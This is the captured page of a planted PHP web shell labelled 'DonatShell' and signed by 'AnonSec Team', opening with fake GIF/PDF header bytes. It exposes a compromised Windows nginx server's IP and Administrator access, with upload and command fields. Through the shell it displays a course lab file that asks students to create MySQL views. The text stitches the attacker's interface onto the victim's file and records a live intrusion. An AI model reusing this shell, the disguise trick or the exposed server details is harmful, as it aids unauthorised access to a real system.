GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/JimMartinson/CST1600/Labs/_Archive/Lab06/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/JimMartinson/CST1600/Labs/_Archive/Lab06/Lab06.phpinc
<?
// JimMartinson/CST1600/Labs/Lab05/index.php

$TRACK = "<b>".basename(__FILE__).'</b> <span class="pv_fl">('.__FILE__.")</span>\n<ol>\n";
ini_set('include_path',ini_get('include_path').PATH_SEPARATOR.$_SERVER['DOCUMENT_ROOT']."/"); // Add the DOCUMENT_ROOT to the include_path.
include('application.phpinc');
include('Course/courseInfo.phpinc');
include('../../classInfo.phpinc');

$evaluationNumber = 6;
$evaluationType = "Lab";
$evaluationTitle = "View";
if ( !isset($assignmentSuffix) ) $assignmentSuffix = '';
$evaluationName = $evaluationType.twoDigit($evaluationNumber).$assignmentSuffix;

$title = $evaluationType." ".$evaluationNumber.' - '.$evaluationTitle;
$headTitle = '_CST_ - '.$courseNumber.' '.$courseTitle.' - '.$title;
$pageTitle = $courseNumber.' '.$courseTitle.'<br>'.$title;
$pageMenu = 'Course/courseMenu.phpinc';
$smallTitle = true;
include('common/pageHeader.phpinc');
$f_uId = formValue('uId'); if ( $f_uId ) { $userId = $f_uId; $userFullName = username($userId); } else { $userFullName = $_SESSION['userFullName']; $userId = $_SESSION['userId']; } $userFileName = str_replace(" ","",$userFullName);
$sectionTitle = $courseNumber.' '.$courseTitle.' - '.$title.' - '.username($userId);
include('common/sectionHeader.phpinc');
include('Gradebook/EvaluationSubmission_BEGIN.phpinc');
$uploadFilename = $courseNumber.'-'.$userFileName.'-'.$evaluationName.'.zip';

?>
<style type="text/css">b {white-space:nowrap;}</style>
<p>
<fieldset><legend><?=$evaluationType?> <?=$evaluationNumber?> Assignment</legend>
The purpose of this lab is to demonstrate your ability to use MySQL views.
<br><b>Note: Use the <a href="http://www.mysqltutorial.org/download/2">MySQL Sample Database</a> `classicmodels` for this lab.</b>
<br><?=$gradeNote?>
<ol>
  <li>
    Create a directory called <b><?=$evaluationName?></b>. We will use it for all work performed in this lab.
  </li>
	<li>Copy the <b>cutomerOrders</b> view and change the name to <b>customerOrdersByName</b>.
		<br>Below is the <b>cutomerOrders</b> View:
		<table><tr><td><pre># Returns total for each order ordered from largest to smallest.

DROP VIEW IF EXISTS customerOrders;

CREATE VIEW customerOrders AS
 SELECT 
        d.orderNumber,
        customerName,
        round(SUM(quantityOrdered * priceEach),2) total
    FROM
        orderDetails d
            INNER JOIN
        orders o ON o.orderNumber = d.orderNumber
            INNER JOIN
        customers c ON c.customerNumber = o.customerNumber
    GROUP BY d.orderNumber
    ORDER BY total DESC;</pre></td></tr></table>
	<li>
		Modify the <b>customerOrdersByName</b> view so that it groups by orderNumber and orders the totals by customerName and then by total from highest to lowest.
	</li>
	<li>
		Save the sql that created the <b>customerOrdersByName</b> view as <b>customerOrdersByName.sql</b>.
	</li>
	<li>
		Call <b>customerOrdersByName</b>(); and take a screenshot showing some of the results.
		<br>Save it as a png file called: <b><?=$userFullName?>_Results.png</b>.
	</li>
  <li>Turn in your assignment:
		<ol type="a">
			<li>Zip up your <b><?=$evaluationName?></b> folder into a file named <b><?=$uploadFilename?></b>.</li>
			<li>Browse and select your <b><?=$uploadFilename?></b> file: <input type="file" name="fileUpload"></li>
			<li>Then <input type="submit" name="f_subtask" value="Submit"> for grading.</li>
		</ol>
  </li>
</ol>
<?=$gradeNote?>
</fieldset>
<?
include('Gradebook/EvaluationSubmission_END.phpinc');
$deductionPoints = $evaluationInfo['evaluationPoints'] / 10; if ( $deductionPoints == 1 ) { $deductionPoints = '1 point'; } else { $deductionPoints = $deductionPoints.' points'; }
#include('../../CST1600GradingCriteria.phpinc');
#include('../../Notes/notes.phpinc');
include('common/sectionFooter.phpinc');
include('../../ReferencesResources.phpinc');
include('common/pageFooter.phpinc');
if ($TRACK != '') $_SESSION['TRACK'] .= "<li>End ".basename(__FILE__)."</ol>\n";

?>

Anon7 - 2022
AnonSec Team